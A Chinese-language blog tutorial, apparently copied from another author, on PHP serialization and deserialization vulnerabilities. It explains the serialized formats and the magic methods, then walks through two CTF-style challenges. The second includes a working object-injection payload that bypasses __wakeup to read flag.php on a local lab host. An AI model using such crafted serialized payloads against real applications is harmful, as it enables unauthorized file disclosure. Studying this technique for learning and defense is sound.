美文网首页
php反序列化学习

php反序列化学习

作者: 违规昵称不予展示 | 来源:发表于2019-08-19 11:02 被阅读0次

    照抄Y4er大佬的文章https://y4er.com/post/unserialize/


    记录下PHP反序列化漏洞学习笔记。

    简介

    php序列化 化对象为压缩格式化的字符串

    反序列化 将压缩格式化的字符串还原

    php序列化是为了将对象或者变量永久存储的一种方案。

    序列化

    在了解反序列化之前我们首先要知道什么是序列化。
    在php中,序列化函数是serialize(),我们先来写一个简单的序列化。

    <?php
    class User {
        public $name;
        private $sex;
        protected $money = 1000;
    
        public function __construct($data, $sex) {
            $this->data = $data;
            $this->sex = $sex;
        }
    }
    $number = 66;
    $str = 'Y4er';
    $bool = true;
    $null = NULL;
    $arr = array('a' => 1, 'b' => 2);
    $user = new User('jack', 'male');
    
    var_dump(serialize($number));
    echo '<hr>';
    var_dump(serialize($str));
    echo '<hr>';
    var_dump(serialize($bool));
    echo '<hr>';
    var_dump(serialize($null));
    echo '<hr>';
    var_dump(serialize($arr));
    echo '<hr>';
    var_dump(serialize($user));
    
    

    在这里我们分别序列化了数字、字符串、布尔值、空、数组、对象。看下输出结果

    string(5) "i:66;"
    string(11) "s:4:"Y4er";"
    string(4) "b:1;"
    string(2) "N;"
    string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
    string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"
    

    以此我们知道序列化不同类型的格式为

    • Integer : i:value;
    • String : s:size:value;
    • Boolean : b:value;(保存1或0)
    • Null : N;
    • Array : a:size:{key definition;value definition;(repeated per element)}
    • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
      在这里需要注意一点就是object的private和protected属性的长度问题:
      string(99) "O:4:"User":4:{s:4:"name";N;s:9:"Usersex";s:4:"male";s:8:"*money";i:1000;s:4:"data";s:4:"jack";}"
      可以看到Usersex的长度为9,是因为php序列化属性值时,如果是private或者protected会自动在类名两边添加一个空字节,如果是url编码用%00,如果是ASCII编码用\00,都是表示一个空字节。
    1. %00User%00sex 表示 private
    2. %00*%00money 表示protected

    反序列化

    反序列化是将字符串转换为原来的变量或对象,简单写一个例子。

    <?php
    
    class User
    {
        public $name='Y4er';
    
        function __wakeup()
        {
            echo $this->name;
        }
    }
    
    $me = new User();
    echo serialize($me);
    echo '<hr>';
    unserialize($_GET['id']);
    
    

    20190817142528

    可以看到,我们将序列化之后的字符串通过id传给unserialize函数之后,执行了__wakeup()函数,输出了Y4er字符串。

    那么我们如果改变O:4:"User":1:{s:4:"name";s:4:"Y4er";}中的Y4er字符串,精心构造一个对象是不是可以随意输出呢?答案当然是肯定的,所以反序列化漏洞的产生就在于__wakeup中存在可控字段。

    那么__wakeup是什么函数呢?为什么他会自己运行呢?有没有其他类似的函数呢?

    魔术方法

    在php中,有着一系列的魔术方法,他们和C#中的构造方法相似,都是在某一条件满足下自动运行,一般用于初始化对象。我们在这里列举一些

    __construct()//创建对象时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __invoke() //当脚本尝试将对象调用为函数时触发
    __toString() //把类当作字符串使用时触发
    __wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发</pre>
    

    我们在上文中用到了__wakeup函数,在使用unserialize()时自动输出了$this->name。在了解完魔术方法之后,我们来看几道题。

    D0g3 热身反序列化

    题目如下,我稍微修改了一下。

    <?php
    $KEY = "D0g3!!!";
    $str = $_GET['str'];
    if (unserialize($str) === "$KEY")
    {
        echo "You get Flag!!!";
    }
    show_source(__FILE__);
    
    

    很简单的一道题,要求就是通过get传进去的str参数经过反序列化之后要等于D0g3!!!,那么我们直接将D0g3!!!序列化一下,然后通过str参数就可以了。

    echo serialize("D0g3!!!");
    

    输出s:7:"D0g3!!!";

    然后访问http://php.local/unserialize.php?str=s:7:"D0g3!!!";拿到flag。

    __wakeup反序列化对象注入

    <?php
    
    class SoFun
    {
        protected $file = 'index.php';
    
        function __destruct()
        {
            if (!empty($this->file)) {
                if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) {
                    show_source(dirname(__FILE__) . '/' . $this->file);
                } else {
                    die('Wrong filename.');
                }
            }
        }
    
        function __wakeup()
        {
            $this->file = 'index.php';
        }
    
        public function __toString()
        {
            return '';
        }
    }
    
    if (!isset($_GET['file'])) {
        show_source('index.php');
    } else {
        $file = base64_decode($_GET['file']);
        echo unserialize($file);
    }
    ?>   #<!--key in flag.php-->
    
    

    首先阅读题意,可以看到要通过base64传递file参数来反序列化将$file变量改变为flag.php,从而读出flag。

    但是有一个问题,__wakeup函数是在反序列化时就执行,而__destruct是在对象销毁时执行,也就是说__wakeup__destruct先执行,而__wakeup会执行$this->file = 'index.php';,所以我们现在要想办法将file变成flag.php并且要绕过__wakeup函数调用__destruct函数。

    这里用到了一个PHP反序列化对象注入漏洞,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

    首先准备反序列化对象

    $i = new SoFun();
    echo serialize($i);
    

    O:5:"SoFun":1:{s:7:"*file";s:9:"index.php";}
    我们需要将file的%00补上
    O:5:"SoFun":1:{s:7:"%00*%00file";s:9:"index.php";}
    修改flag.php
    O:5:"SoFun":1:{s:7:"%00*%00file";s:8:"flag.php";}
    绕过wakeup
    O:5:"SoFun":2:{s:7:"%00*%00file";s:8:"flag.php";}
    然后需要urldecode一下,将%00转为空字节,最后base64之后就是payload了
    http://php.local/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

    相关文章

      网友评论

          本文标题:php反序列化学习

          本文链接:https://www.haomeiwen.com/subject/fafssctx.html